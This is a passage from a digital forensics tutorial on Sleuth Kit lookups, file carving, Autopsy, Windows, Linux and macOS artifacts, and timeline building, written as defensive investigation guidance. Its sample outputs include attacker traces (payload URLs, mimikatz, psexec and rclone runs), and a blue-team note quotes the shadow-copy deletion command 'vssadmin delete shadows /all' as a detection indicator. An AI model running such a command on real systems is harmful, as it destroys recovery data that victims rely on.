ils -o 1026047 evidence.dd # deleted (unallocated) metadata entries only, by defaultils -o 1026047 -a evidence.dd | head # all7. ifind / ffind — reverse lookups
ifind -o 1026047 -d 90212 evidence.dd # which inode owns data unit 90212?ffind -o 1026047 evidence.dd 4512 # which name(s) point to inode 4512?ifind -o 1026047 -n "Users/jsmith/Downloads/mimikatz.exe" evidence.ddifind -d is how you answer “I found a keyword hit at byte offset X in unallocated space — does it belong to any file?” The workflow is: byte offset → data unit (blkcalc) → inode (ifind -d) → name (ffind).
8. blkcat, blkls, blkstat, blkcalc — the data unit layer
blkstat -o 1026047 evidence.dd 90212 # is this cluster allocated?blkcat -o 1026047 evidence.dd 90212 | xxd | headblkls -o 1026047 evidence.dd > unallocated.raw # ALL unallocated clusters, concatenatedblkls -o 1026047 -s evidence.dd > slack.raw # slack space onlyblkcalc -o 1026047 -u 4471 evidence.dd # map unallocated-image unit -> original image unitblkcalc deserves a sentence because it is the piece people miss: after you carve unallocated.raw, any offset you find is an offset into that extracted blob, not into the disk. blkcalc -u translates it back so you can state the finding in terms of the original evidence.
9. tsk_recover — bulk export
tsk_recover -o 1026047 evidence.dd /cases/recovered_deleted # deleted files (default)tsk_recover -o 1026047 -a evidence.dd /cases/recovered_allocated # allocated files tootsk_recover -o 1026047 -e evidence.dd /cases/recovered_everything # everything10. jls / jcat — the journal (ext3/ext4)
jls -o 2048 linux.dd | head # list journal blocksjcat -o 2048 linux.dd 1421 | xxd | headflowchart TD
A[img_stat and mmls] --> B[fsstat -o N]
B --> C[fls -o N -r -p]
C --> D{Deleted entry?}
D -->|metadata intact| E[istat then icat = recovered file]
D -->|metadata gone| F[blkls then carve]
C --> G[fls -m produces bodyfile]
G --> H[mactime timeline]
F --> I[foremost / photorec]
E --> J[Hash, scan, analyse]
I --> J
Part 8: File Carving
Section titled “Part 8: File Carving”What carving is: recovering files from raw bytes using content signatures alone, ignoring the file system entirely. It is what you do when the metadata is gone. Because there is no metadata, carved files have no original name, no path, no timestamps — a fact you must state whenever you present a carved artifact.
How it works: most formats have a distinctive header (magic bytes) and many have a footer. A carver scans for headers, then either reads until the footer, until a maximum size, or uses format-aware parsing to determine length.
| Format | Header (hex) | Footer (hex) | Notes |
|---|---|---|---|
| JPEG | FF D8 FF E0/E1/DB | FF D9 | Very carvable; EXIF inside |
| PNG | 89 50 4E 47 0D 0A 1A 0A | 49 45 4E 44 AE 42 60 82 | IEND is reliable |
| GIF | 47 49 46 38 37/39 61 | 00 3B | |
25 50 44 46 (%PDF) | 25 25 45 4F 46 (%%EOF) | Multiple EOFs if incrementally saved | |
| ZIP / DOCX / XLSX / PPTX / JAR / APK | 50 4B 03 04 | 50 4B 05 06 (EOCD) | Office 2007+ is ZIP — carve as ZIP, then inspect |
| OLE (DOC/XLS/PPT and MSI) | D0 CF 11 E0 A1 B1 1A E1 | none | Fixed-size sectors |
| PE (EXE/DLL) | 4D 5A (MZ) + PE\0\0 | none | Length from PE headers |
| ELF | 7F 45 4C 46 | none | Length from section headers |
| SQLite | 53 51 4C 69 74 65 20 66 6F 72 6D 61 74 20 33 00 | none | Browser history, phone DBs |
| EVTX | 45 6C 66 46 69 6C 65 00 (ElfFile) | none | Windows event logs |
| Registry hive | 72 65 67 66 (regf) | none | Carve hives from unallocated |
| RAR | 52 61 72 21 1A 07 | none | |
| 7z | 37 7A BC AF 27 1C | none |
The fundamental limit — fragmentation. Carvers assume the file is contiguous. If a 4 MB PDF was written in three fragments, header-to-footer carving produces a corrupt file containing someone else’s data in the middle. Roughly 5–10% of files on a typical used volume are fragmented, but the rate is far higher for large files, files edited in place, and files on a nearly-full volume. Modern carvers (photorec, and research tools using SmartCarving) do better; plain foremost does not.
foremost — from scratch
Section titled “foremost — from scratch”What it is: a header/footer carver originally written by US Air Force OSI, still the fastest way to sweep an image for common formats.
sudo apt install -y foremostforemost -V# Carve from the unallocated blob (recommended: avoids re-finding allocated files)foremost -t jpg,pdf,doc,docx,zip,exe -i unallocated.raw -o /cases/carve_foremost| Flag | Meaning |
|---|---|
-t | Comma-separated types, or all |
-i | Input image |
-o | Output dir (must not exist or must be empty) |
-c | Alternate config file (/etc/foremost.conf) — add custom signatures here |
-q | Quick mode: only check sector boundaries (much faster, misses embedded files) |
-a | Write all headers, no error detection |
-v | Verbose |
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick MikusProcessing: unallocated.raw|foundat=RxD.pdf*|Finish: Mon Mar 2 12:41:09 2027
12 FILES EXTRACTED
jpg:= 7pdf:= 3zip:= 2foremost writes an audit.txt recording every carved file with its byte offset in the input — keep it; that offset is what you feed to blkcalc to map back to the original image.
Custom signature in /etc/foremost.conf:
# extension case size header evtx y 8000000 \x45\x6c\x66\x46\x69\x6c\x65\x00scalpel — configurable and faster
Section titled “scalpel — configurable and faster”A fork of foremost focused on performance; all signatures live in /etc/scalpel/scalpel.conf and are commented out by default (a classic first-run gotcha — running it unedited carves nothing).
sudo apt install -y scalpelsudo sed -i 's/^#\(\s*jpg\)/\1/' /etc/scalpel/scalpel.conf # uncomment jpg linesscalpel -c /etc/scalpel/scalpel.conf -o /cases/carve_scalpel unallocated.rawphotorec — the best general-purpose carver
Section titled “photorec — the best general-purpose carver”Part of the TestDisk package, format-aware rather than purely header/footer, supports 480+ formats, and handles some fragmentation. Interactive by default but fully scriptable.
sudo apt install -y testdiskphotorec /log /d /cases/carve_photorec /cmd evidence.dd partition_2,fileopt,everything,enable,search| Token | Meaning |
|---|---|
/log | Write photorec.log |
/d DIR | Output directory |
/cmd IMG ... | Non-interactive command string |
partition_2 | Operate on partition 2 |
fileopt,everything,enable | Enable all file types |
search | Start carving |
bulk_extractor — features, not files
Section titled “bulk_extractor — features, not files”What it is: a completely different philosophy. Instead of reconstructing files, it scans every byte of the image (including compressed and encoded content, recursively) for features: email addresses, URLs, credit card numbers with Luhn validation, IP addresses, EXIF, domain names, telephone numbers, Windows PE headers, and more. It ignores the file system entirely, so it works on corrupt images, memory dumps, and swap.
sudo apt install -y bulk-extractorbulk_extractor -o /cases/be_out -e all evidence.dd| Flag | Meaning |
|---|---|
-o DIR | Output directory (must not exist) |
-e SCANNER | Enable scanner (all, net, wordlist, exif, hiberfile) |
-x SCANNER | Disable scanner |
-S ssn_mode=1 | Tune scanner settings |
-j N | Threads |
$ ls /cases/be_outaes_keys.txt domain.txt email.txt ether.txtexif.txt ip.txt json.txt report.xmltelephone.txt url.txt url_searches.txt windirs.txtzip.txt
$ head -3 /cases/be_out/url.txt1004265472 http://198.51.100.24/a.ps11004265618 http://198.51.100.24/rc.exe2891043840 https://drive.example.net/upload?id=8812The first column is the byte offset in the image — feed it to blkcalc/ifind to attribute the hit to a file. aes_keys.txt is worth noting: bulk_extractor can recover AES key schedules from memory images and hibernation files, which is occasionally how an encrypted volume gets opened.
CTF relevance: bulk_extractor -e all on a challenge image, then grep -i flag across the feature files, solves a surprising number of forensics challenges in one step.
Part 9: Autopsy From Scratch
Section titled “Part 9: Autopsy From Scratch”What it is: Autopsy is the open-source GUI and case-management platform built on The Sleuth Kit, maintained by Basis Technology. It gives you multi-source case management, an ingest pipeline of analysis modules, indexed keyword search (Solr), a timeline viewer, hash-set matching, and reporting — all of which you would otherwise script by hand around TSK.
Why use it when you know the CLI: three reasons that matter in real casework. (1) Indexed search — Solr full-text indexing across every file including document interiors, which grep cannot match at scale. (2) Correlation — the Central Repository links artifacts across cases (this hash, this device ID, this email seen in an earlier case). (3) Reporting and repeatability — HTML/Excel reports with tagged evidence that a non-technical reader can follow, and a case file another examiner can open.
Why not to use it exclusively: it is an interpretation layer. When a finding matters, validate it at the CLI. “Autopsy said so” is not a defensible answer to “how do you know?”
Install
Section titled “Install”Autopsy is Java-based; on Windows the installer bundles everything. On Linux it needs TSK’s Java bindings.
# Linux (Autopsy 4.x)sudo apt install -y openjdk-17-jdk testdisk sleuthkitwget https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.21.0/autopsy-4.21.0.zipunzip autopsy-4.21.0.zip && cd autopsy-4.21.0sh unix_setup.sh./bin/autopsyOn Windows: install the .msi, and install the optional Autopsy Third-Party Modules and the Solr server if you want multi-user cases.
Case creation workflow
Section titled “Case creation workflow”- New Case → case name, base directory, case number, examiner name. Autopsy creates a directory with
Export/,Reports/,ModuleOutput/and a SQLiteautopsy.db. Put this on your case volume, never on the evidence volume. - Add Data Source → choose type:
| Data source type | Use for |
|---|---|
| Disk Image or VM File | .dd, .E01, .vmdk, .vhd, .raw |
| Local Disk | Live/attached device — only through a write blocker |
| Logical Files | A folder of already-extracted files (triage collections) |
| Unallocated Space Image File | A blkls output blob |
| XRY / Cellebrite reports | Mobile extractions |
- Configure Ingest Modules — the step that decides how long ingest takes and what you get.
| Ingest module | What it does | Cost | Notes |
|---|---|---|---|
| Recent Activity | Parses browser history, registry (via RegRipper), installed programs, USB devices | Low | Always enable |
| Hash Lookup | Matches file hashes against NSRL and your known-bad sets | Low–med | Import NSRL to suppress ~40% of files as “known good” |
| File Type Identification | Signature-based type ID (not extension) | Low | Enables extension-mismatch detection |
| Extension Mismatch Detector | Flags .jpg that is really a PE | Low | High-signal, low-noise |
| Embedded File Extractor | Unpacks ZIP/Office/archives so contents are searchable | Medium | Enable, or you will miss files inside documents |
| Keyword Search | Solr indexing + regex/literal lists | High | The long pole; consider running it second-pass |
| Email Parser | PST/OST/MBOX to messages | Medium | |
| Encryption Detection | Entropy-based flag for encrypted/packed files | Low | Finds packed malware and containers |
| Interesting Files Identifier | Rule-based (paths, names) hits | Low | Customise per case |
| PhotoRec Carver | Carves unallocated | Medium–high | Duplicates CLI carving; pick one |
| Plaso | Runs log2timeline for a super timeline | Very high | Prefer running plaso separately |
| Android/iOS Analyzer | Mobile artifacts | Medium | |
| Data Source Integrity | Verifies E01 hash on ingest | Low | Always enable — proves your image was intact at analysis time |
Practical ingest strategy for a 500 GB image: first pass with everything except Keyword Search and Plaso — you get triage results in an hour instead of a day. Then launch keyword search as a second ingest run while you work the first-pass findings.
- Analyse. The tree on the left is where the value is:
- Data Sources — raw file system browsing (this is
fls). - Views → Deleted Files / File Types / File Size — deleted-file recovery without typing
icat. - Results → Extracted Content — Web History, Web Downloads, USB Device Attached, Installed Programs, Recycle Bin, Run Programs (Prefetch), Operating System Information.
- Results → Keyword Hits, Hashset Hits, Interesting Items, Encryption Detected, Extension Mismatch Detected.
- Tags — tag every item you will cite; tags drive the report.
- Timeline (the clock icon) — visual MACB timeline with filtering.
- Report → Generate Report → HTML / Excel / KML / CASE-UCO, scoped to “Tagged Results” for a clean deliverable.
Autopsy CLI / automation
Section titled “Autopsy CLI / automation”For repeatable pipelines, Autopsy supports headless runs on Windows:
autopsy64.exe --nosplash --runFromCommandLine=true ^ --inputPath=E:\evidence\case42.E01 ^ --caseDir=D:\cases\case42 ^ --caseName=CASE-42A validation habit worth building: for any finding you will put in a report, reproduce it once at the CLI. If Autopsy shows a deleted mimikatz.exe at MFT 9104, run istat -o 1026047 evidence.dd 9104 and icat ... 9104 | sha256sum and paste both into your notes. That is the difference between “the tool told me” and “I verified it.”
Part 10: The Windows Artifact Map
Section titled “Part 10: The Windows Artifact Map”The file system tells you what exists. Artifacts tell you what a human did. This is where disk forensics stops being plumbing and starts answering questions. Extract these with icat/tsk_recover from the image, then parse with dedicated tools.
Registry hives
Section titled “Registry hives”| Hive | On-disk path | What it answers |
|---|---|---|
SYSTEM | Windows/System32/config/SYSTEM | Services, drivers, USB devices, computer name, timezone, mounted devices, ShimCache |
SOFTWARE | Windows/System32/config/SOFTWARE | Installed apps, OS version/install date, network profiles, autoruns |
SAM | Windows/System32/config/SAM | Local accounts, RIDs, last logon, password-change times |
SECURITY | Windows/System32/config/SECURITY | LSA secrets, cached domain policy |
NTUSER.DAT | Users/<user>/NTUSER.DAT | Per-user: RunMRU, TypedPaths, UserAssist, RecentDocs, WordWheelQuery |
UsrClass.dat | Users/<user>/AppData/Local/Microsoft/Windows/UsrClass.dat | Shellbags (the important ones), file associations |
Amcache.hve | Windows/AppCompat/Programs/Amcache.hve | Executed/present binaries with SHA-1 hashes and first-seen times |
# Extract hives from the imagefor f in SYSTEM SOFTWARE SAM SECURITY; do INODE=$(ifind -o 1026047 -n "/Windows/System32/config/$f" evidence.dd) icat -o 1026047 evidence.dd $INODE > /cases/hives/$fdone
# Parse with RegRipper (perl-based, one plugin per artifact)sudo apt install -y regripperrip.pl -r /cases/hives/SYSTEM -f system > /cases/out/system.txtrip.pl -r /cases/hives/NTUSER.DAT -p userassist > /cases/out/userassist.txtrip.pl -r /cases/hives/SYSTEM -p usbstorusbstor v.20180819(System) Get USBStor key info
USBStorDisk&Ven_SanDisk&Prod_Cruzer_Blade&Rev_1.00 [2027-01-11 21:58:14Z] S/N: 4C530001260113118353 [2027-01-11 21:58:14Z] FriendlyName : SanDisk Cruzer Blade USB Device ParentIdPrefix:Modern alternatives: regipy (Python) and Eric Zimmerman’s RECmd/Registry Explorer (Windows, transaction-log aware). A crucial detail: registry hives have transaction logs (.LOG1, .LOG2) holding not-yet-committed changes. Tools that ignore them show you a stale hive. RECmd and regipy replay them; older tools do not — extract the .LOG files alongside every hive.
Execution artifacts — the “did this run?” stack
Section titled “Execution artifacts — the “did this run?” stack”No single artifact proves execution. You build confidence by stacking them.
| Artifact | Path | Proves | Retention |
|---|---|---|---|
| Prefetch | Windows/Prefetch/NAME-HASH.pf | Execution, run count, last 8 run times, loaded files/dirs | 1024 files (Win8+); disabled on many SSD/server builds |
| Amcache | Windows/AppCompat/Programs/Amcache.hve | Presence + SHA-1 + PE metadata + first-seen | Long |
| ShimCache (AppCompatCache) | SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache | Presence (not necessarily execution) + file’s SI modified time + path | 1024 entries; written to disk only at shutdown |
| UserAssist | NTUSER.DAT\...\Explorer\UserAssist | GUI-launched programs, run count, last run, focus time | ROT13-encoded names |
| SRUM | Windows/System32/sru/SRUDB.dat | Per-process network bytes sent/received, per user | ~30–60 days |
| BAM/DAM | SYSTEM\...\Services\bam\State\UserSettings\<SID> | Last execution time per binary per user | Win10 1709+ |
| Jump Lists | Users/<u>/AppData/Roaming/Microsoft/Windows/Recent/*Destinations | Files opened per application | |
| RunMRU / TypedPaths | NTUSER.DAT | Commands typed into Run box; paths typed into Explorer |
SRUM deserves emphasis: it is an ESE database recording, per process and per user, bytes sent and received over each network interface, in hourly buckets, for weeks. In an exfiltration case where the C2 logs are gone, SRUM showing 7zG.exe and then a 4.2 GB upload from rclone.exe at 02:14 is often the strongest available evidence of data theft volume.
# Parse SRUM (Mark Baggett's srum-dump, or ESE tooling)python3 srum_dump.py -i /cases/ext/SRUDB.dat -r /cases/hives/SOFTWARE -o /cases/out/srum.xlsx
# Prefetch (Eric Zimmerman PECmd)PECmd.exe -d C:\cases\ext\Prefetch --csv C:\cases\outExecutable name: RCLONE.EXEHash: 9A1B2C3DRun count: 4Last run: 2027-01-11 22:31:07Other run times: 2027-01-11 22:19:52, 2027-01-11 22:04:44, 2027-01-11 21:59:31Volume information: \VOLUME{01d8-3c2a} Serial: 8A3C41F2 Created: 2026-08-02Directories referenced: 27Files referenced: 112 \VOLUME{...}\USERS\PUBLIC\RCLONE.EXE \VOLUME{...}\USERS\JSMITH\APPDATA\ROAMING\RCLONE\RCLONE.CONFThat Prefetch file alone gives you: the tool ran four times, the exact times, where it lived, and — from the referenced files — that it used a config in the user’s roaming profile, which you should now go and extract.
File and folder access artifacts
Section titled “File and folder access artifacts”| Artifact | Path | What it proves |
|---|---|---|
| LNK files | Users/<u>/AppData/Roaming/Microsoft/Windows/Recent/*.lnk | A file was opened; embeds target path, size, MAC times, volume serial, and sometimes the source machine’s MAC address |
| Shellbags | UsrClass.dat (BagMRU/Bags) | A folder was browsed in Explorer — including folders on removable or network drives that no longer exist |
| Recycle Bin | $Recycle.Bin/<SID>/$I… + $R… | $I = original path + deletion time + size; $R = the content |
| Thumbcache | Users/<u>/AppData/Local/Microsoft/Windows/Explorer/thumbcache_*.db | Thumbnails of images that no longer exist |
| WordWheelQuery | NTUSER.DAT | Terms typed into Explorer search |
Shellbags are the classic “prove they knew it existed” artifact: a shellbag entry for E:\payroll\2027\confidential proves that user browsed that folder in Explorer, even if the E: drive was a USB stick that left the building. Parse with SBECmd.exe or shellbags.py.
Windows Event Logs
Section titled “Windows Event Logs”Windows/System32/winevt/Logs/*.evtx. Extract them all; parse with evtx_dump / python-evtx / Chainsaw / Hayabusa.
| Log | Event IDs that matter |
|---|---|
| Security | 4624 (logon, check Logon Type), 4625 (fail), 4634/4647 (logoff), 4648 (explicit creds), 4672 (special privs), 4688 (process creation with command line if enabled), 4720/4732 (account/group changes), 1102 (log cleared) |
| System | 7045 (service installed — PsExec/Cobalt Strike), 7034/7036, 104 (log cleared) |
| PowerShell/Operational | 4103 (module logging), 4104 (script block logging — full deobfuscated script) |
| Sysmon/Operational | 1 (process create + hashes), 3 (network), 7 (image load), 8 (CreateRemoteThread), 11 (file create), 13 (registry), 22 (DNS) |
| TerminalServices | 21/25 (RDP session logon/reconnect), 1149 (RDP auth succeeded) |
| Windows Defender | 1116/1117 (detection/action) |
| TaskScheduler | 106 (task registered), 200/201 (action started/completed) |
sudo apt install -y python3-evtxevtx_dump.py /cases/ext/Security.evtx | grep -A3 '<EventID>4688' | head -40
# Or Chainsaw with Sigma rules across the whole log directorychainsaw hunt /cases/ext/winevt/Logs -s /opt/sigma/rules --mapping /opt/chainsaw/mappings/sigma-event-logs-all.ymlLogon Type is the field novices skip — 2 = interactive (at keyboard), 3 = network (SMB/share), 4 = batch, 5 = service, 7 = unlock, 8 = network cleartext, 9 = NewCredentials (runas /netonly — classic pass-the-hash indicator), 10 = RemoteInteractive (RDP), 11 = cached interactive.
Browser artifacts
Section titled “Browser artifacts”| Browser | Path | Format |
|---|---|---|
| Chrome/Edge | Users/<u>/AppData/Local/Google/Chrome/User Data/Default/ | SQLite: History, Cookies, Login Data, Web Data, Bookmarks (JSON) |
| Firefox | Users/<u>/AppData/Roaming/Mozilla/Firefox/Profiles/<p>/ | SQLite: places.sqlite, cookies.sqlite, formhistory.sqlite |
| IE/Legacy Edge | Users/<u>/AppData/Local/Microsoft/Windows/WebCache/WebCacheV01.dat | ESE database |
sqlite3 /cases/ext/History "SELECT datetime(last_visit_time/1000000-11644473600,'unixepoch'), url, title FROM urls ORDER BY last_visit_time DESC LIMIT 10;"That /1000000-11644473600 is the conversion from Chrome/WebKit time (microseconds since 1601-01-01) to Unix epoch. Time formats you will meet:
| Format | Epoch | Units | Seen in |
|---|---|---|---|
| Windows FILETIME | 1601-01-01 | 100 ns | NTFS, registry, EVTX |
| Chrome/WebKit | 1601-01-01 | 1 microsecond | Chrome SQLite |
| Unix epoch | 1970-01-01 | 1 s | Linux, Firefox (microseconds in places.sqlite) |
| Cocoa/Mac absolute | 2001-01-01 | 1 s | macOS/iOS plists |
| FAT DOS time | 1980-01-01 | 2 s, local | FAT/exFAT |
| OLE Automation date | 1899-12-30 | days (float) | Office metadata |
Getting an epoch wrong shifts your entire timeline by decades and is a very common beginner error. Convert once, in one script, and sanity-check against a file whose time you know.
Deleted-but-not-gone: hiberfil, pagefile, VSS
Section titled “Deleted-but-not-gone: hiberfil, pagefile, VSS”| Source | Path | Value |
|---|---|---|
hiberfil.sys | C:\hiberfil.sys | Compressed RAM image — process memory, keys, cleartext. Convert with hibr2bin/Volatility. |
pagefile.sys / swapfile.sys | C:\ | Paged-out memory fragments; strings + bulk_extractor |
| Volume Shadow Copies | System Volume Information\{GUID} | Point-in-time snapshots of the whole volume — often contain the file before the attacker modified or deleted it |
VSS is frequently the win. If the host had shadow copies and the attacker did not run vssadmin delete shadows, you may have a complete pre-incident copy of the file system.
# Mount an image and expose shadow copies (libvshadow)sudo apt install -y libvshadow-utilsvshadowinfo -o $((1026047*512)) evidence.ddvshadowmount -o $((1026047*512)) evidence.dd /mnt/vssls /mnt/vss # vss1 vss2 vss3fls -r -p /mnt/vss/vss2 | head # analyse the snapshot as its own file systemBlue team usage: an attacker running vssadmin delete shadows /all generates event 8224 / Sysmon 1 with that command line, and is itself a strong ransomware precursor indicator — worth an alert on its own.
Part 11: Linux and macOS Artifacts
Section titled “Part 11: Linux and macOS Artifacts”| Artifact | Path | Value |
|---|---|---|
| Shell history | ~/.bash_history, ~/.zsh_history, ~/.python_history | Commands typed; note HISTFILE/HISTSIZE tampering and that history is written at logout |
| Auth logs | /var/log/auth.log, /var/log/secure | SSH logins, sudo use, key auth vs password |
| wtmp/btmp/lastlog | /var/log/wtmp, btmp, lastlog | Binary logon records — last -f, lastb -f |
| Journald | /var/log/journal/ | Binary; journalctl --file=... --no-pager |
| Cron / systemd timers | /etc/cron*, /var/spool/cron/, /etc/systemd/system/*.timer | Persistence |
| systemd units | /etc/systemd/system/, ~/.config/systemd/user/ | Persistence — check created times against install date |
| SSH | ~/.ssh/authorized_keys, known_hosts, ~/.ssh/config | Added keys = persistence; known_hosts shows outbound targets (hashed by default — resolve with a known IP list) |
| Package manager logs | /var/log/dpkg.log, /var/log/yum.log, /var/log/apt/history.log | What was installed and when |
| Web server logs | /var/log/nginx/, /var/log/apache2/ | Webshell access, initial exploitation |
| Shell/loader persistence | ~/.bashrc, /etc/profile.d/, ~/.bash_profile, /etc/ld.so.preload | Classic persistence |
| Staging dirs | /tmp, /dev/shm, /var/tmp | Staging directories |
macOS equivalents:
| Artifact | Path |
|---|---|
| Unified logs | /var/db/diagnostics/ (log show --archive) |
| Quarantine (Gatekeeper) | ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 (SQLite) — download URL and time per file |
| Persistence | /Library/LaunchAgents, /Library/LaunchDaemons, ~/Library/LaunchAgents |
| Spotlight | .Spotlight-V100/ metadata store — attributes including kMDItemWhereFroms |
| FSEvents | /.fseventsd/ — a log of file system changes, survives file deletion |
| KnowledgeC | ~/Library/Application Support/Knowledge/knowledgeC.db — app usage |
FSEvents on macOS is the closest analogue to $UsnJrnl: a compressed log of created/renamed/deleted paths that persists after the files are gone. Parse with FSEventsParser.
Part 12: Timeline Analysis
Section titled “Part 12: Timeline Analysis”A list of artifacts is not an investigation. A timeline is. There are two levels.
File system timeline: fls -m + mactime
Section titled “File system timeline: fls -m + mactime”# 1. Generate a body file (pipe-delimited intermediate format)fls -o 1026047 -r -m "C:/" evidence.dd > /cases/tl/bodyfile.txt
# 2. Convert to a human timeline, in a chosen timezonemactime -b /cases/tl/bodyfile.txt -z UTC -d > /cases/tl/timeline.csv
# Only a window of interest:mactime -b /cases/tl/bodyfile.txt -z UTC 2027-01-11..2027-01-12 > /cases/tl/incident_window.txtmactime flag | Meaning |
|---|---|
-b FILE | Body file input |
-z TZ | Timezone to render in (always state this in the report) |
-d | CSV output |
-y | ISO 8601 dates |
-m | Include month in output |
DATE..DATE | Restrict range |
-g GROUPFILE / -p PASSWDFILE | Resolve GID/UID to names (Linux) |
Body file format, for when you need to merge in other sources by hand:
MD5|name|inode|mode_as_string|UID|GID|size|atime|mtime|ctime|crtime0|C:/Users/Public/rc.exe|8823|r/rrwxrwxrwx|0|0|421376|1767398047|1767398047|1767398047|1767398047Reading a timeline is a skill of its own:
Thu Jan 11 2027 22:04:18 1265664 m..b r/rrwxrwxrwx 0 0 9104 C:/Users/jsmith/Downloads/mimikatz.exe (deleted)Thu Jan 11 2027 22:04:44 0 .a.. r/rrwxrwxrwx 0 0 4471 C:/Windows/Prefetch/MIMIKATZ.EXE-8A2C41F2.pfThu Jan 11 2027 22:09:33 381816 m..b r/rrwxrwxrwx 0 0 9107 C:/Users/jsmith/Downloads/psexec.exe (deleted)Thu Jan 11 2027 22:14:07 421376 ...b r/rrwxrwxrwx 0 0 8823 C:/Users/Public/rc.exeThu Jan 11 2027 22:14:09 421376 m.c. r/rrwxrwxrwx 0 0 8823 C:/Users/Public/rc.exeThe m..b / .a.. column is MACB — which of the four times this line represents. Note lines 4 and 5: rc.exe was born at 22:14:07 and its metadata changed two seconds later — that two-second gap is the timestomp being applied after the file landed, and it is why the SI times in Part 4 claimed 2009 while this crtime says 2027.
The bracketing technique: when you have one known-bad timestamp, cut the timeline to ±10 minutes around it. Everything an attacker did in that window — temp files, prefetch, registry writes, log entries — clusters there. Then expand outward from each new anchor. This is far more effective than reading a 40-million-line timeline linearly.
Super timeline: log2timeline / plaso
Section titled “Super timeline: log2timeline / plaso”What it is: plaso (log2timeline.py + psort.py) parses hundreds of artifact types — file system, registry, EVTX, Prefetch, browser SQLite, syslog, LNK, Amcache, SRUM, and more — and merges them into one time-ordered store. It is the difference between “a file appeared” and “a file appeared, two seconds after a browser download from this URL, three seconds before a service was installed.”
sudo apt install -y plaso-toolslog2timeline.py --version# 1. Extract everything into a plaso storage filelog2timeline.py --status_view window --partitions all --vss_stores all \ --parsers "win7,!filestat" -z UTC /cases/tl/case42.plaso evidence.E01
# 2. Filter and exportpsort.py -o l2tcsv -w /cases/tl/super_timeline.csv /cases/tl/case42.plaso \ "date > '2027-01-11 20:00:00' AND date < '2027-01-12 06:00:00'"| Flag | Meaning |
|---|---|
--partitions all | Process every partition, not just the first |
--vss_stores all | Also parse every volume shadow copy — often doubles useful output |
--parsers "win7" | Parser preset for the OS; !filestat excludes file system entries when you only want artifacts |
-z UTC | Timezone of the source system for local-time artifacts |
--hashers md5 | Hash every file during processing |
psort.py -o | Output module: l2tcsv, dynamic, json_line, elastic, timesketch |
Post-processing is mandatory — a super timeline of a 500 GB disk is tens of millions of rows. Use one of:
psteal.pyfor a one-shot extract + sort.- Timesketch — a web UI for collaborative timeline analysis with tagging, saved views, and analyzers. This is what mature IR teams use.
- Sigma/Chainsaw on the EVTX subset first, to generate anchors, then bracket in the super timeline.
sequenceDiagram
participant I as Image
participant L as log2timeline
participant P as plaso store
participant S as psort or Timesketch
participant A as Analyst
I->>L: E01 plus VSS stores
L->>L: 200+ parsers (FS, registry, EVTX, browser, prefetch)
L->>P: Normalised timezone-corrected events
A->>S: Filter by date window, keyword, artifact type
S->>A: Ordered narrative slice
A->>A: Anchor, bracket 10 minutes, new anchor
A->>S: Tag, annotate, save view
The timezone discipline
Section titled “The timezone discipline”Three different timezones are in play and confusing them is the fastest way to produce a wrong report:
- The evidence system’s timezone — from
SYSTEM\CurrentControlSet\Control\TimeZoneInformation(ActiveTimeBiasin minutes). This governs local-time artifacts. - The storage timezone of each artifact — NTFS/registry/EVTX are UTC; FAT and many logs are local.
- Your reporting timezone — pick one, state it on every page, and never mix.
The professional default is report everything in UTC, note the system’s local offset once, and present local time only where a human’s working hours matter.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.